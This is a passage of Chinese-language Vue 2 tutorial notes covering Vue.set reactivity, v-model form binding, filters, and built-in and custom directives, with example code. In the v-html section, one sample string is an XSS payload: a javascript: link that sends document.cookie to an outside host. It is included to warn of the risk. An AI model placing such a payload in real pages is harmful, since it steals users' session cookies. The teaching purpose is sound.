				addSex(){
					// Vue.set(this.student,'sex','男')//vue上的方法
					this.$set(this.student,'sex','男')//vm上的方法
				}
			}
		})
	</script>

1.10.7 总结

<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性，默认值：男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为：开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名：{{student.name}}</h3>
			<h3>年龄：{{student.age}}</h3>
			<h3 v-if="student.sex">性别：{{student.sex}}</h3>
			<h3>爱好：</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们：</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
					this.student.friends.unshift({name:'jack',age:70})
				},
				updateFirstFriendName(){
					this.student.friends[0].name = '张三' //name有set和get，name是对象里的属性
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')索引为0开始，删一个，改为开车
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{//采用不破坏原数组方法时，用新数组替换旧数组
						return h !== '抽烟'
					})
				}
			}
		})
	</script>

总结：

vue会监视data中所有层次的数据。
如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

(1).对象中后追加的属性，Vue默认不做响应式处理

(2).如需给后添加的属性做响应式，请使用如下API：

Vue.set(target，propertyName/index，value) 或

vm.$set(target，propertyName/index，value)

如何监测数组中的数据？

通过包裹数组更新元素的方法实现，本质就是做了两件事：

(1).调用原生对应的方法对数组进行更新。

(2).重新解析模板，进而更新页面。

在Vue修改数组中的某个元素一定要用如下方法：

1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set(vm.student.hobby,index,'xxxx') 或 vm.$set()

==特别注意：==Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象添加属性！！！

错误写法 Vue.set(vm,‘xxx’,‘yyy’) Vue.set(vm._ data,‘xxx’,‘yyy’)

1.11 收集表单数据

text ：v-model收集的是value值，用户输入的就是value值。
radio：v-model收集的是value值，且要给标签配置value值。
checkbox

1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

2.配置input的value属性:

(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）

(2)v-model的初始值是数组，那么收集的的就是value组成的数组

备注：v-model的三个修饰符：

lazy：失去焦点再收集数据，不会实时收集

number：输入字符串转为有效的数字，和type搭配使用type=“number” v-model.number=“userInfo.age”

trim：输入首尾空格过滤

<!-- 准备好一个容器-->
		<div id="root">
           <!-- 阻止默认提交行为 -->
			<form @submit.prevent="demo">
				账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码：<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别：
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好：
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息：
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
                  <!-- 表单中的按钮没有指定type，默认submit类型，改为button也能阻止默认行为 -->
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[], //value
					city:'beijing',
					other:'',
					agree:''//布尔值
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
</script>

1.12 过滤器（vue3废除）

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：

1.注册过滤器：全局Vue.filter(name,callback) 或局部new Vue{filters:{}}

2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”

管道符前的数据会默认传给过滤器当作第一个形参，如果过滤器另外写了形参，则当作第二个形参，以此类推…

备注：

1.过滤器也可以接收额外参数、多个过滤器也可以串联，后面过滤器的参数就是前一个过滤器的返回值

2.并没有改变原本的数据, 是产生新的对应的数据

<!-- 准备好一个容器-->
    <div id="root">
      <h2>显示格式化后的时间</h2>
      <!-- 计算属性实现 -->
      <h3>现在是：{{fmtTime}}</h3>
      <!-- methods实现 -->
      <h3>现在是：{{getFmtTime()}}</h3>
      <!-- 过滤器实现 -->
      <h3>现在是：{{time | timeFormater}}</h3>
      <!-- 过滤器实现（传参） -->
      <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
      <h3 :x="msg | mySlice">尚硅谷</h3>
    </div>

  <script type="text/javascript">
    //全局过滤器，new实例前定义
    Vue.filter("mySlice", function (value) {
      return value.slice(0, 4);
    });

    new Vue({
      el: "#root",
      data: {
        time: 1677482912698, //时间戳 Date.now()
        msg: "你好，尚硅谷",
      },
      computed: {
        fmtTime() {
          return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
        },
      },
      methods: {
        getFmtTime() {
          return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
        },
      },
      //局部过滤器
      filters: {
        timeFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {//第一个参数一定是管道符前面的，后面是传的参数，此处设置形参默认值，有值就是传的值，无值默认"YYYY年MM月DD日 HH:mm:ss"
          // console.log('@',value) //管道符前面的值 1677482912698
          return dayjs(value).format(str);//过滤器返回值替换整个插值表达式
        },
      },
    });
 
  </script>

1.13 内置指令

前面学过的指令：

v-bind : 单向绑定解析表达式, 可简写为 :xxx

v-model : 双向数据绑定

v-for : 遍历数组/对象/字符串

v-on : 绑定事件监听, 可简写为@

v-if : 条件渲染（动态控制节点是否存在）

v-else : 条件渲染（动态控制节点是否存在）

v-show : 条件渲染 (动态控制节点是否展示)

1.13.1 v-text指令：

作用：向其所在的节点中渲染文本内容。
与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

1.13.2 v-html指令：

作用：向指定节点中渲染包含html结构的内容。
与插值语法的区别：

(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。

(2).v-html可以识别html结构。
严重注意：v-html有安全性问题！！！！

(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！有被盗取cookie的风险

str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',//跳转到指定网站并获取cookie作为参数

1.13.3 v-cloak（没有值）

本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。解决屏幕闪动问题 [v-cloak] 选中所有标签带v-cloak属性的元素

<style>
	 [v-cloak]{  
		 display:none;
	 }
 </style>
<div id="root">
	 <h2 v-cloak>{{name}}</h2 >
 </div>

1.13.4 v-once（没有值）

v-once所在节点在初次动态渲染后，就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<div id="root">
    		<!-- 初始化的n值一直是1  -->
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})

1.13.5 v-pre

跳过其所在节点的编译过程。
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<h2 v-pre>Vue其实很简单</h2>

1.14 自定义指令

<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是：<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
<script type="text/javascript">
		//定义全局指令
		 Vue.directive('fbind',{
			//指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value 
			}
		}) 
    //函数式定义全局指令
     Vue.directive('big',  function(element,binding){//element是真实DOM <span></span> console.log(element instanceof HTMLElement) true。
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10
				 
		}) 

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				//big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。相当于只调用bind()和update()
			  'big-number'(element,binding){//引号，a-b形式一定要引号，后面不用只是省略了
					// console.log('big')
					element.innerText = binding.value * 10
				}, 
				big(element,binding){
                    //element是真实DOM <span></span>
                    //binding是要绑定的对象，包含很多属性，这里关注其value值
					console.log('big',this) //注意此处的this是window
					 
					element.innerText = binding.value * 10
				},
				fbind:{
					//vue会在不同的时刻调用不同的函数
					//指令与元素成功绑定时（一上来），仅仅在内存中建立了关联，input元素并没有放入页面
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()//元素存在后focus才会生效，所以函数式无法实现
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>